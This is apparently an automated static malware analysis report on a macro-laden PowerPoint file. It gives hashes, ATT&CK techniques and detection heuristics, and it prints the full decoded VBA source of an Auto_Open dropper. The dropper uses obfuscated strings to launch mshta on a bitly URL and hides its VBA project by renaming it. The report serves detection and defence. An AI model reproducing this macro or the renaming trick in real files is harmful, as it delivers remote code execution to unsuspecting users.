Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0f280c0198390528…

MALICIOUS

Office (OOXML)

8.1 KB First seen: 2026-06-05
MD5: d1bac2ca08be6200f439fa99f6e8d597 SHA-1: e1999113d3d27f313284c83e82607424129caffe SHA-256: 0f280c01983905288329058a8e6632743df47560ed01408b4aa17df7c24fd3f8
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically an Auto_Open macro that is designed to execute automatically. The macro uses CreateObject to instantiate Shell.Application and then calls ShellExecute with a URL constructed from obfuscated string concatenations. This script is designed to download and execute a second-stage payload from the URL 'https://www.bitly.com/adjcndajcijsamd'. The presence of an Auto_Open macro and the use of ShellExecute strongly indicate a malicious intent to download and run further malware.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/asodkaoskd.b)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/adjcndajcijsamd In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 821 bytes
SHA-256: e77167805327a20cfe535e23c62253f98a964934865011eef1eb26461371691c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module111"

Sub _
Auto_Open _
()
Dim MsgBox As New topli
Set Outlook = CreateObject("Outlook.Application")

Set Microsoft = Outlook.CreateObject("Shell.Application")

Microsoft.ShellExecute MsgBox.mill, MsgBox.link





End _
Sub


Attribute VB_Name = "topli"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function mill()
o = StrReverse("M")
m = StrReverse("s")
l = StrReverse("H")
a = StrReverse("t")
i = StrReverse("A")
mill = o + m + l + a + i
End Function
Function link()
link = "https://www.bitly.com/adjcndajcijsamd"
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/asodkaoskd.b 16896 bytes
SHA-256: b6ef4845c1b0e4015ccb0e9eef80cdf3dc2f72120a6994bf3ce1c61a1efd823d

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